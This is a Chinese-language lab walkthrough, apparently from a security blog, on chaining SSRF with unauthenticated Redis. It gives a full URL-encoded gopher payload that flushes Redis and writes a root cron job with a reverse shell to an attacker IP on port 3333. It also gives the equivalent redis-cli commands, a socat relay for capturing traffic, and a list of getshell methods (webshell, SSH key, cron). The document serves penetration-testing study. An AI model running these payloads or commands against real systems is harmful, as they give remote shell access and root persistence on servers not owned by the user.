ssrf+redis靶场利用
原理:服务端提供了从其他服务器获取数据的功能,而且没做好限制
非常类似文件包含
常见功能点
- 在线翻译网页
- 图片加载
- 网站信息收集
可利用点
- 端口扫描,用dict
- 本地敏感数据file
- 做跳板利用其它漏洞gophar
验证:抓包分析服务器是否发送请求
利用
- http协议访问内外网web资源
- file协议读取本地文件
- dict协议探测内外网tcp端口
- gopher协议做跳板
ssrf+redis未授权实验
环境准备
- kali攻击机 192.168.0.4
- ssrf靶场 web靶场添加一个ssrf利用文件 192.168.0.10
- redis未授权靶场 192.168.0.9
本实验均在同一网段下,因为没找到redis不出网的利用方式,凑合联动一下
redis靶场
#设置只允许ssrf靶场服务器访问6379
firewall-cmd --add-rich-rule='rule family=ipv4 source address=192.168.0.10 port port=6379 protocol=tcp accept'
可以看到kali不能直接访问,但可以通过ssrf来访问
构造攻击payload利用
#自己改ip 在进行一次url编码利用两次编码后的payload
gopher://192.168.0.7:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0afarmsec%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.0.4/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a%0a
payload制作教程
- 自写脚本或者用大佬们写的 cp自己改也行
- 利用wireshark抓流量
- 利用socat看流量
#攻击机执行#socat
socat -v tcp-listen:6379,fork tcp-connect:192.168.0.7:6379
#这种手法是先搞一个本地靶场,把自己攻击机流量转发到本地redis靶场
redis-cli -h 127.0.0.1 flushall #清空数据库。echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.10.96/3333 0>&1\n\n"|redis-cli -h 127.0.0.1 -x set abc #写入脚本赋值abc
redis-cli -h 127.0.0.1 config setdir /var/spool/cron/ #设置工作目录centos是这个目录
redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字
redis-cli -h 127.0.0.1 save #保存
这样就把流量抓到攻击机可以开nc监听,发送payload了
一般针对redis未授权是三种getshell方法(还有一些高端玩法)分别是
- 针对同时有web服务器的可以写webshell
- 针对root权限有ssh的可以写公钥
- 针对centos服务器root权限可以写cron(因为ubuntu那种目录权限有些问题)
版权归原作者 actistsec 所有, 如有侵权,请联系我们删除。